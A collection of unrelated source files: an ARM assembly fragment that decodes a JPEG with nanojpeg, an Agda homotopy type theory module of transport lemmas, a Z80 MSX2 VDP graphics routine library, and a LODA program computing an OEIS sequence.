ldmia_update al reglist:0x83c0 sp
.bbl if_2_end 4
mov_imm al r2 2
mov_imm al r1 0
mov_regimm al r0 r7 lsl 0
bl al expr:call:lseek
mov_regimm al r8 r0 lsl 0
mov_regimm al r0 r8 lsl 0
bl al expr:call:malloc
mov_regimm al r6 r0 lsl 0
mov_imm al r2 0
mov_imm al r1 0
mov_regimm al r0 r7 lsl 0
bl al expr:call:lseek
mov_regimm al r3 r0 lsl 0
mov_regimm al r0 r8 lsl 0
mov_regimm al r2 r0 lsl 0
mov_regimm al r1 r6 lsl 0
mov_regimm al r0 r7 lsl 0
bl al expr:call:read
mov_regimm al r8 r0 lsl 0
mov_regimm al r0 r7 lsl 0
bl al expr:call:close
mov_regimm al r2 r0 lsl 0
bl al expr:call:njInit
mov_regimm al r1 r8 lsl 0
mov_regimm al r0 r6 lsl 0
bl al expr:call:njDecode
cmp_imm al r0 0
b eq expr:jump24:if_3_end
.bbl if_3_true 4
mov_regimm al r0 r6 lsl 0
bl al expr:call:free
movw al r0 expr:movw_abs_nc:string_const_3
movt al r0 expr:movt_abs:string_const_3
bl al expr:call:puts
mov_imm al r0 1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl if_3_end 4
mov_regimm al r0 r6 lsl 0
bl al expr:call:free
ldr_imm_add al r0 r9 8
mov_imm al r1 65
orr_imm al r1 r1 512
mov_imm al r2 6
mov_regimm al r2 r2 lsl 6
bl al expr:call:open
mov_regimm al r8 r0 lsl 0
cmp_imm al r8 0
b ge expr:jump24:if_4_end
.bbl if_4_true 4
movw al r0 expr:movw_abs_nc:string_const_4
movt al r0 expr:movt_abs:string_const_4
bl al expr:call:puts
mov_imm al r0 1
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.bbl if_4_end 4
bl al expr:call:njIsColor
cmp_imm al r0 0
b eq expr:jump24:if_5_false
.bbl if_5_true 4
movw al r0 expr:movw_abs_nc:string_const_5
movt al r0 expr:movt_abs:string_const_5
mov_regimm al r1 r8 lsl 0
bl al expr:call:write_str
b al expr:jump24:if_5_end
.bbl if_5_false 4
movw al r0 expr:movw_abs_nc:string_const_6
movt al r0 expr:movt_abs:string_const_6
mov_regimm al r1 r8 lsl 0
bl al expr:call:write_str
.bbl if_5_end 4
bl al expr:call:njGetWidth
mov_regimm al r1 r0 lsl 0
mov_regimm al r0 r8 lsl 0
bl al expr:call:write_dec
movw al r0 expr:movw_abs_nc:string_const_7
movt al r0 expr:movt_abs:string_const_7
mov_regimm al r1 r8 lsl 0
bl al expr:call:write_str
bl al expr:call:njGetHeight
mov_regimm al r1 r0 lsl 0
mov_regimm al r0 r8 lsl 0
bl al expr:call:write_dec
movw al r0 expr:movw_abs_nc:string_const_8
movt al r0 expr:movt_abs:string_const_8
mov_regimm al r1 r8 lsl 0
bl al expr:call:write_str
movw al r0 expr:movw_abs_nc:string_const_9
movt al r0 expr:movt_abs:string_const_9
mov_regimm al r1 r8 lsl 0
bl al expr:call:write_str
bl al expr:call:njGetImage
mov_regimm al r6 r0 lsl 0
bl al expr:call:njGetImageSize
mov_regimm al r0 r0 lsl 0
mov_regimm al r2 r0 lsl 0
mov_regimm al r1 r6 lsl 0
mov_regimm al r0 r8 lsl 0
bl al expr:call:write
mov_regimm al r1 r0 lsl 0
mov_regimm al r0 r8 lsl 0
bl al expr:call:close
mov_regimm al r1 r0 lsl 0
bl al expr:call:njDone
mov_imm al r0 0
add_imm al sp sp 12
ldmia_update al reglist:0x83c0 sp
.endfun
|
cohomology/FunctionOver.agda | UlrikBuchholtz/HoTT-Agda | 1 | 16720 | <filename>cohomology/FunctionOver.agda<gh_stars>1-10
{-# OPTIONS --without-K #-}
open import HoTT
{- Useful lemmas for computing the effect of transporting a function
- across an equivalence in the domain or codomain.
- TODO: find a better place for this. -}
module cohomology.FunctionOver where
{- transporting a function along an equivalence or path in the domain -}
module _ {i} {j} {B : Type i} {C : Type j} (g : B → C) where
domain-over-path : {A : Type i} (p : A == B)
→ g ∘ coe p == g [ (λ D → (D → C)) ↓ p ]
domain-over-path idp = idp
domain-over-equiv : {A : Type i} (e : A ≃ B)
→ g ∘ –> e == g [ (λ D → (D → C)) ↓ ua e ]
domain-over-equiv e = ↓-app→cst-in $ λ q → ap g (↓-idf-ua-out e q)
module _ {i} {j} {A : Type i} {C : Type j} (f : A → C) where
domain!-over-path : {B : Type i} (p : A == B)
→ f == f ∘ coe! p [ (λ D → (D → C)) ↓ p ]
domain!-over-path idp = idp
domain!-over-equiv : {B : Type i} (e : A ≃ B)
→ f == f ∘ <– e [ (λ D → (D → C)) ↓ ua e ]
domain!-over-equiv e = ↓-app→cst-in $
λ q → ap f (! (<–-inv-l e _) ∙ ap (<– e) (↓-idf-ua-out e q))
{- transporting a ptd function along a equivalence or path in the domain -}
module _ {i} {j} {Y : Ptd i} {Z : Ptd j} (g : fst (Y ⊙→ Z)) where
domain-over-⊙path : {X : Ptd i} (p : fst X == fst Y)
(q : coe p (snd X) == snd Y)
→ g ⊙∘ (coe p , q) == g [ (λ W → fst (W ⊙→ Z)) ↓ pair= p (↓-idf-in p q) ]
domain-over-⊙path idp idp = idp
domain-over-⊙equiv : {X : Ptd i} (e : X ⊙≃ Y)
→ g ⊙∘ ⊙–> e == g [ (λ W → fst (W ⊙→ Z)) ↓ ⊙ua e ]
domain-over-⊙equiv {X = X} e =
ap (λ w → g ⊙∘ w) (! $ ⊙λ= (coe-β (⊙≃-to-≃ e)) idp)
◃ domain-over-⊙path (ua (⊙≃-to-≃ e))
(coe-β (⊙≃-to-≃ e) (snd X) ∙ snd (⊙–> e))
module _ {i} {j} {X : Ptd i} {Z : Ptd j} (f : fst (X ⊙→ Z)) where
domain!-over-⊙path : {Y : Ptd i} (p : fst X == fst Y)
(q : coe p (snd X) == snd Y)
→ f == f ⊙∘ (coe! p , ap (coe! p) (! q) ∙ coe!-inv-l p (snd X))
[ (λ W → fst (W ⊙→ Z)) ↓ pair= p (↓-idf-in p q) ]
domain!-over-⊙path idp idp = idp
domain!-over-⊙equiv : {Y : Ptd i} (e : X ⊙≃ Y)
→ f == f ⊙∘ (⊙<– e) [ (λ W → fst (W ⊙→ Z)) ↓ ⊙ua e ]
domain!-over-⊙equiv {Y = Y} e =
(! (ap (λ w → f ⊙∘ w) (⊙<–-inv-l e)) ∙ ! (⊙∘-assoc f _ (⊙–> e)))
◃ domain-over-⊙equiv (f ⊙∘ (⊙<– e)) e
{- transporting a function along an equivalence or path in the codomain -}
module _ {i} {j} {A : Type i} {B : Type j} (f : A → B) where
codomain-over-path : {C : Type j} (p : B == C)
→ f == coe p ∘ f [ (λ D → (A → D)) ↓ p ]
codomain-over-path idp = idp
codomain-over-equiv : {C : Type j} (e : B ≃ C)
→ f == –> e ∘ f [ (λ D → (A → D)) ↓ ua e ]
codomain-over-equiv e = ↓-cst→app-in $ λ _ → ↓-idf-ua-in e idp
module _ {i} {j} {A : Type i} {C : Type j} (g : A → C) where
codomain!-over-path : {B : Type j} (p : B == C)
→ coe! p ∘ g == g [ (λ D → (A → D)) ↓ p ]
codomain!-over-path idp = idp
codomain!-over-equiv : {B : Type j} (e : B ≃ C)
→ <– e ∘ g == g [ (λ D → (A → D)) ↓ ua e ]
codomain!-over-equiv e = ↓-cst→app-in $ λ _ → ↓-idf-ua-in e (<–-inv-r e _)
{- transporting a ptd function along a equivalence or path in the codomain -}
module _ {i} {j} {X : Ptd i} {Y : Ptd j} (f : fst (X ⊙→ Y)) where
codomain-over-⊙path : {Z : Ptd j} (p : fst Y == fst Z)
(q : coe p (snd Y) == snd Z)
→ f == (coe p , q) ⊙∘ f [ (λ W → fst (X ⊙→ W)) ↓ pair= p (↓-idf-in p q) ]
codomain-over-⊙path idp idp = pair= idp (! (∙-unit-r _ ∙ ap-idf (snd f)))
codomain-over-⊙equiv : {Z : Ptd j} (e : Y ⊙≃ Z)
→ f == (⊙–> e) ⊙∘ f [ (λ W → fst (X ⊙→ W)) ↓ ⊙ua e ]
codomain-over-⊙equiv {Z = Z} e =
codomain-over-⊙path (ua (⊙≃-to-≃ e))
(coe-β (⊙≃-to-≃ e) (snd Y) ∙ snd (⊙–> e))
▹ ap (λ w → w ⊙∘ f) (⊙λ= (coe-β (⊙≃-to-≃ e)) idp)
module _ {i} {j} {X : Ptd i} {Z : Ptd j} (g : fst (X ⊙→ Z)) where
codomain!-over-⊙path : {Y : Ptd j} (p : fst Y == fst Z)
(q : coe p (snd Y) == snd Z)
→ (coe! p , ap (coe! p) (! q) ∙ coe!-inv-l p (snd Y)) ⊙∘ g == g
[ (λ W → fst (X ⊙→ W)) ↓ pair= p (↓-idf-in p q) ]
codomain!-over-⊙path idp idp = pair= idp (∙-unit-r _ ∙ ap-idf (snd g))
codomain!-over-⊙equiv : {Y : Ptd j} (e : Y ⊙≃ Z)
→ (⊙<– e) ⊙∘ g == g [ (λ W → fst (X ⊙→ W)) ↓ ⊙ua e ]
codomain!-over-⊙equiv {Y = Y} e =
codomain-over-⊙equiv (⊙<– e ⊙∘ g) e
▹ ! (⊙∘-assoc (⊙–> e) _ g) ∙ ap (λ w → w ⊙∘ g) (⊙<–-inv-r e) ∙ ⊙∘-unit-l g
module _ {i j} where
function-over-paths : {A₁ B₁ : Type i} {A₂ B₂ : Type j}
{f : A₁ → A₂} {g : B₁ → B₂} (p₁ : A₁ == B₁) (p₂ : A₂ == B₂)
→ coe p₂ ∘ f == g ∘ coe p₁
→ f == g [ (λ {(A , B) → A → B}) ↓ pair×= p₁ p₂ ]
function-over-paths idp idp α = α
function-over-equivs : {A₁ B₁ : Type i} {A₂ B₂ : Type j}
{f : A₁ → A₂} {g : B₁ → B₂} (e₁ : A₁ ≃ B₁) (e₂ : A₂ ≃ B₂)
→ –> e₂ ∘ f == g ∘ –> e₁
→ f == g [ (λ {(A , B) → A → B}) ↓ pair×= (ua e₁) (ua e₂) ]
function-over-equivs {f = f} {g = g} e₁ e₂ α =
function-over-paths (ua e₁) (ua e₂) $
transport (λ {(h , k) → h ∘ f == g ∘ k})
(pair×= (! (λ= (coe-β e₂))) (! (λ= (coe-β e₁)))) α
{- transporting a group homomorphism along an isomorphism -}
domain-over-iso : ∀ {i j} {G H : Group i} {K : Group j}
{φ : G →ᴳ H} {ie : is-equiv (GroupHom.f φ)} {ψ : G →ᴳ K} {χ : H →ᴳ K}
→ GroupHom.f ψ == GroupHom.f χ
[ (λ A → A → Group.El K) ↓ ua (GroupHom.f φ , ie) ]
→ ψ == χ [ (λ J → J →ᴳ K) ↓ group-ua (φ , ie) ]
domain-over-iso {K = K} {φ = φ} {ie} {ψ} {χ} p =
hom=-↓ _ _ $ ↓-ap-out _ Group.El _ $
transport
(λ q → GroupHom.f ψ == GroupHom.f χ [ (λ A → A → Group.El K) ↓ q ])
(! (group-ua-el (φ , ie)))
p
codomain-over-iso : ∀ {i j} {G : Group i} {H K : Group j}
{φ : H →ᴳ K} {ie : is-equiv (GroupHom.f φ)} {ψ : G →ᴳ H} {χ : G →ᴳ K}
→ GroupHom.f ψ == GroupHom.f χ
[ (λ A → Group.El G → A) ↓ ua (GroupHom.f φ , ie) ]
→ ψ == χ [ (λ J → G →ᴳ J) ↓ group-ua (φ , ie) ]
codomain-over-iso {G = G} {φ = φ} {ie} {ψ} {χ} p =
hom=-↓ _ _ $ ↓-ap-out _ Group.El _ $
transport
(λ q → GroupHom.f ψ == GroupHom.f χ [ (λ A → Group.El G → A) ↓ q ])
(! (group-ua-el (φ , ie)))
p
hom-over-isos : ∀ {i j} {G₁ H₁ : Group i} {G₂ H₂ : Group j}
{φ₁ : G₁ →ᴳ H₁} {ie₁ : is-equiv (GroupHom.f φ₁)}
{φ₂ : G₂ →ᴳ H₂} {ie₂ : is-equiv (GroupHom.f φ₂)}
{ψ : G₁ →ᴳ G₂} {χ : H₁ →ᴳ H₂}
→ GroupHom.f ψ == GroupHom.f χ
[ (λ {(A , B) → A → B}) ↓ pair×= (ua (GroupHom.f φ₁ , ie₁))
(ua (GroupHom.f φ₂ , ie₂)) ]
→ ψ == χ [ uncurry _→ᴳ_ ↓ pair×= (group-ua (φ₁ , ie₁)) (group-ua (φ₂ , ie₂)) ]
hom-over-isos {φ₁ = φ₁} {ie₁} {φ₂} {ie₂} {ψ} {χ} p = hom=-↓ _ _ $
↓-ap-out (λ {(A , B) → A → B}) (λ {(G , H) → (Group.El G , Group.El H)}) _ $
transport
(λ q → GroupHom.f ψ == GroupHom.f χ [ (λ {(A , B) → A → B}) ↓ q ])
(ap2 (λ p q → pair×= p q) (! (group-ua-el (φ₁ , ie₁)))
(! (group-ua-el (φ₂ , ie₂)))
∙ ! (lemma Group.El Group.El
(group-ua (φ₁ , ie₁)) (group-ua (φ₂ , ie₂))))
p
where
lemma : ∀ {i j k l} {A : Type i} {B : Type j} {C : Type k} {D : Type l}
(f : A → C) (g : B → D) {x y : A} {w z : B} (p : x == y) (q : w == z)
→ ap (λ {(a , b) → (f a , g b)}) (pair×= p q)
== pair×= (ap f p) (ap g q)
lemma f g idp idp = idp
|
lib/chibiakumas/SrcMSX/MSX_V1_VDPMemory.asm | gilbertfrancois/msx | 0 | 93628 | ;The MSX2 VDP needs a few control ports to work, in my source, they are defined in the header, but you can always unrem them here!
;VdpIn_Data equ &98
;VdpIn_Status equ &99
;VdpOut_Data equ &98
;VdpOut_Control equ &99
;VdpOut_Palette equ &9A
;VdpOut_Indirect equ &9B
;Vdp_SendByteData equ &9B
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VDP_SetScreenMode4:
ld a,%00000110 ;6 - set graphics screen mode bits
out (VdpOut_Control),a
ld a,128+0 ;[ 0 ] [DG ] [IE2] [IE1] [M5] [M4] [M3] [ 0 ]
out (VdpOut_Control),a
ld a,%01100000 ; Enable Screen - Enable Retrace Interrupt
out (VdpOut_Control),a
ld a,128+1 ;R#1 [ 0 ] [BL ] [IE0] [M1 ] [ M2] [ 0 ] [SI ] [MAG]
out (VdpOut_Control),a
ld a,31
out (VdpOut_Control),a
ld a,128+2 ;Pattern layout table
out (VdpOut_Control),a
ld a,239
out (VdpOut_Control),a
ld a,128+5 ; Sprite Attrib Table Low
out (VdpOut_Control),a
ld a,%11110000;1 ; Low nibble defines background color (0 or 1 ?)
out (VdpOut_Control),a
ld a,128+7 ;Text and screen margin color
out (VdpOut_Control),a
ld a,128
out (VdpOut_Control),a
ld a,128+10 ;Color Table High (Don't know what this does!)
out (VdpOut_Control),a
ld a,%00001010 ;Set up Vram (Shrug!) [VR=1] [SPD=SpriteDisable]
out (VdpOut_Control),a
ld a,128+8 ;R#8 [MS ] [LP ] [TP ] [CB ] [VR ] [ 0 ] [SPD] [BW ]
out (VdpOut_Control),a
ld a,%00000000 ;[LN ]=1 212 lines / [LN ]=0 = 192 lines
out (VdpOut_Control),a
ld a,128+9 ;R#9 [LN ] [ 0 ] [S1 ] [S0 ] [IL ] [E0 ] [*NT] [DC ]
out (VdpOut_Control),a
ret
VDP_Wait: ;Get The status register - Disable interrupts, as they require status register 0 to be selected!
ld a,2 ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
out (VdpOut_Control),a
ld a,128+15 ;R#15 [ 0 ] [ 0 ] [ 0 ] [ 0 ] [S3 ] [S2 ] [S1 ] [S0 ] - Set Stat Reg to read
out (VdpOut_Control),a
VDP_DoWait:
in a,(VdpIn_Status) ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
rra
ret nc
jp VDP_DoWait
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VDP_FirmwareSafeWait:
; di
call VDP_Wait ;Wait for the VDP to be available
call VDP_GetStatusFirwareDefault ;Reset selected Status register to 0 for the firmware
; ei
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VDP_GetStatusFirwareDefault:
xor a
jr VDP_GetStatusRegisterB
VDP_GetStatusRegister: ;Get The status register - Disable interrupts!
ld a,2 ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
VDP_GetStatusRegisterB:
out (VdpOut_Control),a
ld a,128+15 ;R#15 [ 0 ] [ 0 ] [ 0 ] [ 0 ] [S3 ] [S2 ] [S1 ] [S0 ] - Set Stat Reg to read
out (VdpOut_Control),a
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VDP_STOP:
ld a,0
out (VdpOut_Control),a
ld a,128+46
out (VdpOut_Control),a
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;This function doubles up as HMMM and LMMM, they both use the same parameters, so the OUTI block is the same,
;The only difference is the command byte in register 46
;LMMM = Copy an area of Vram from one place to another - with Logical conditions (Transparency)
;HMMM = Copy an area of Vram from one place to another - Fast (Blit)
VDP_HMMM_BusyCheck: ;This function expects status register 2 to be selected - BY FIRMWARE DEFAULT IT IS NOT - so we can't use it in the tutorials
VDP_LMMM_BusyCheck:
in a,(VdpIn_Status) ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
rra
jr c,VDP_LMMM_BusyCheck
;Need to point HL to a set of command parameters... EG:
VDP_HMMM: ;ld hl,MyHMMM (Fast Copy an area of Vram to Vram - BLIT).... or
VDP_LMMM: ;ld hl,MyHMMM (Slow Copy an area of Vram to Vram with logical options (Transparency).... or
;Set the autoinc for more data
ld a,32 ;AutoInc From 32
out (VdpOut_Control),a
ld a,128+17 ;R#17 [AII] [ 0 ] [R5 ] [R4 ] [R3 ] [R2 ] [R1 ] [R0 ] Indirect Register 128=no inc
out (VdpOut_Control),a
ld c,VdpOut_Indirect
defb &ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3 ;outi x 15
ret
VDP_MyLMMM:
VDP_MyLMMM_SX: defw &0000 ;SX 32,33
VDP_MyLMMM_SY: defw &0000 ;SY 34,35
VDP_MyLMMM_DX: defw &0060 ;DX 36,37
VDP_MyLMMM_DY: defw &0060 ;DY 38,39
VDP_MyLMMM_NX: defw &0040 ;NX 40,41
VDP_MyLMMM_NY: defw &0040 ;NY 42,43
defb 0 ;Color 44 - unused
VDP_MyLMMM_MV: defb 0 ;Move 45
VDP_MyLMMM_CM: defb %10011000 ;Command 46
VDP_MyHMMM:
VDP_MyHMMM_SX: defw &0000 ;SX 32,33
VDP_MyHMMM_SY: defw &0000 ;SY 34,35
VDP_MyHMMM_DX: defw &0060 ;DX 36,37
VDP_MyHMMM_DY: defw &0060 ;DY 38,39
VDP_MyHMMM_NX: defw &0040 ;NX 40,41
VDP_MyHMMM_NY: defw &0040 ;NY 42,43
defb 0 ;Color 44 - unused
VDP_MyHMMM_MV: defb 0 ;Move 45
defb %11010000 ;Command 46
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;HMMC allows us to OUT data to the VDP, which will use it to fill an area of the screen,
;it's slow, but this is effectively how we define sprites in VRAM, or show generated content (Like the chibiakumas gradient)
;an alternative is to use direct memory address selection.
;Need to point HL to a set of command parameters... EG:
;ld hl,MyHMMC (High speed move CPU to VRAM) (Blit Bytes from OUTI)
VDP_HMMC_Generated_BusyCheck: ;This function expects status register 2 to be selected - BY FIRMWARE DEFAULT IT IS NOT - so we can't use it in the tutorials
in a,(VdpIn_Status) ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
rra
jr c,VDP_HMMC_Generated_BusyCheck
VDP_HMMC_Generated: ;Fill ram from calculated values (first in A)
;Set the autoinc for more data
ld a,36 ;AutoInc From 36
out (VdpOut_Control),a
ld a,128+17 ;R#17 [AII] [ 0 ] [R5 ] [R4 ] [R3 ] [R2 ] [R1 ] [R0 ] Indirect Register 128=no inc
out (VdpOut_Control),a
ld c,VdpOut_Indirect
defb &ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3 ; outi X 11
ld a,128+44 ;128 = NO Increment ;R#44 Color byte
out (VdpOut_Control),a
ld a,128+17 ;R#17 [AII] [ 0 ] [R5 ] [R4 ] [R3 ] [R2 ] [R1 ] [R0 ] Indirect Register
out (VdpOut_Control),a
ret
VDP_MyHMMC:
VDP_MyHMMC_DX: defw &0000 ;DX 36,37
VDP_MyHMMC_DY: defw &0000 ;DY 38,39
VDP_MyHMMC_NX: defw &0032 ;NX 40,41
VDP_MyHMMC_NY: defw &0032 ;NY 42,43
VDP_MyHMMCByte: defb 255 ;Color 44
defb 0 ;Move 45
defb %11110000 ;Command 46
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HMMV will flood fill a square area with a single byte, it's far faster than copying areas even with HMMM
; This Hyper version is a 'FAST FILL' function... it uses the Z80 to fill the screen while the VDP is busy,
; then gets the VDP to finish the job once it's ready to work!
;Ypos in C
;333x222222211111111
;sss-mrrrrrrrccccccc =screen,row,col, M 1=write, 0=read
; 100000000000000 = half way down the screen!
VDP_HMMV_Hyper:
ld a,(VDP_MyHMMV_DY)
ld b,a
xor a
ld c,a
ld a,(VDP_MyHMMV_DY+1)
rra
rr b
rr c
rlc b
rla
rlc b
rla
srl b
srl b
out (VdpOut_Control),a ;set bits 15-17
ld a,14+128
out (VdpOut_Control),a
ld a,c ;set bits 0-7
out (VdpOut_Control),a
ld a,b ;set bits 8-14
or 64 ; 64= write access 0=read
out (VdpOut_Control),a
ld a,(VDP_MyHMMV_NY)
ld c,a
ld h,a
ex af,af'
ld a,(VDP_MyHMMV_Byte)
; ld a,128
di
VDP_HMMV_HyperAgain:
ld b,8
VDP_HMMV_Hyperb:
out (VdpIn_Data),a ;16 out commands (32 pixels)
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
out (VdpIn_Data),a
djnz VDP_HMMV_Hyperb ;carry on with the fill job
ex af,af'
in a,(VdpIn_Status) ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
rra
jr nc,VDP_HMMV_HyperDone ;finished waiting
ex af,af'
dec c
jp nz,VDP_HMMV_HyperAgain
ret
VDP_HMMV_HyperDone:
ld (VDP_MyHMMV_NY),bc
ld a,h
sub c
ld c,a
; ld b,0
ld hl,(VDP_MyHMMV_DY)
add hl,bc
ld (VDP_MyHMMV_DY),hl
ld hl,VDP_MyHMMV
jp VDP_OutFrom36
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; HMMV will flood fill a square area with a single byte, it's far faster than copying areas even with HMMM
;Need to point HL to a set of command parameters... EG:
;ld hl,MyHMMV ;HMMV (High speed move VDP to VRAM) (Flood Fill Byte)
VDP_HMMV_BusyCheck: ;This function expects status register 2 to be selected - BY FIRMWARE DEFAULT IT IS NOT - so we can't use it in the tutorials
in a,(VdpIn_Status) ;S#2 [TR ] [VR ] [HR ] [BD ] [ 1 ] [ 1 ] [EO ] [CE ] - Status register 2
rra
jr c,VDP_HMMV_BusyCheck
VDP_HMMV:
VDP_OutFrom36:
ld a,36 ;AutoInc From 36
out (VdpOut_Control),a
ld a,128+17 ;R#17 [AII] [ 0 ] [R5 ] [R4 ] [R3 ] [R2 ] [R1 ] [R0 ] Indirect Register 128=no inc
out (VdpOut_Control),a
ld c,VdpOut_Indirect
defb &ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3,&ED,&A3
ret
VDP_MyHMMV:
VDP_MyHMMV_DX: defw &0000 ;DX 36,37
VDP_MyHMMV_DY: defw &0000 ;DY 38,39
VDP_MyHMMV_NX: defw &0100 ;NX 40,41
VDP_MyHMMV_NY: defw &00C0 ;NY 42,43
VDP_MyHMMV_Byte:defb 64 ;Color 44
defb 0 ;Move 45
defb %11000000 ;Command 46
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Move the Read/Write pointer to a new location we can then use IN/OUT with port &98 to read or write data
; TO/FROM the memory address we selected
VDP_SetReadAddress:
ld C,0 ;Need to set bit 6 to 0 for READ
jr VDP_SetAddress
VDP_SetWriteAddress:
ld C,64 ;Need to set bit 6 to 1 for WRITE
VDP_SetAddress: ;Memory address is defined using 17 bits
; A H L ;As it's 128k
;00000001 11111111 11111111
rlc h
rla
rlc h
rla
srl h
srl h
di
out (VdpOut_Control),a ;set bits 15-17
ld a,14+128
out (VdpOut_Control),a
ld a,l ;set bits 0-7
nop
out (VdpOut_Control),a
ld a,h ;set bits 8-14
or C ;64= write access 0=read
ei
out (VdpOut_Control),a
ld c,VdpIn_Data
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
VDP_LDIR_ToVDP:
;HL - SRC in ram
;ADE - Dest in Vram
;BC - Bytecount
push bc
push hl
ld h,d
ld l,e
call VDP_SetWriteAddress
pop hl
pop de
ld b,e
ld e,0
VDP_LDIR_ToVDP_Repeater:
otir
dec d
jr nz,VDP_LDIR_ToVDP_Repeater
ret
VDP_LDIR_FromVDP:
;AHL - SRC in vram
;DE - Dest in ram
;BC - Bytecount
push de
push bc
call VDP_SetReadAddress
pop de
pop hl
ld b,e
ld e,0
VDP_LDIR_FromVDP_Repeater:
inir
dec d
jr nz,VDP_LDIR_FromVDP_Repeater
ret
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
LastPalAddress: defw &0000
VDP_SetPalette:
ld (LastPalAddress),hl
;;;;;;;;;;;;;;;;;;;;;;;;;;;
; palette setup
; R#16 [ 0 ] [ 0 ] [ 0 ] [ 0 ] [C3 ] [C2 ] [C1 ] [C0 ] - Set AutoInc Palette register
; Port #2 first byte 0 R2 R1 R0 0 B2 B1 B0 Data 1 - Red data Blue data
; Port #2 second byte 0 0 0 0 0 G2 G1 G0 Data 2 - Green data
;
ld b,16
VDP_SetPalettePartial:
ld a,0 ;Set First Pallete to change
out (VdpOut_Control),a
ld a,128+16 ;Copy Value to Register 16 (Palette)
out (VdpOut_Control),a
VDP_morepal:
ld a,(hl)
and %11101110
rrca
inc hl
out (VdpOut_Palette),a
ld a,(hl)
and %11101110
rrca
inc hl
out (VdpOut_Palette),a
djnz VDP_morepal
ret
|
programs/oeis/204/A204441.asm | jmorken/loda | 1 | 92142 | ; A204441: Symmetric matrix: f(i,j)=floor[(i+j+2)/4]-floor[(i+j-1)/4], by (constant) antidiagonals.
; 1,1,1,1,1,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
lpb $0
sub $0,1
add $1,1
trn $0,$1
mul $3,2
mov $4,$3
add $3,1
lpe
mod $1,2
cal $2,142
div $3,2
add $3,5
mul $2,$3
pow $4,4
add $1,$4
trn $1,$2
div $1,5
gcd $1,2
mul $1,2
sub $1,2
div $1,2
|
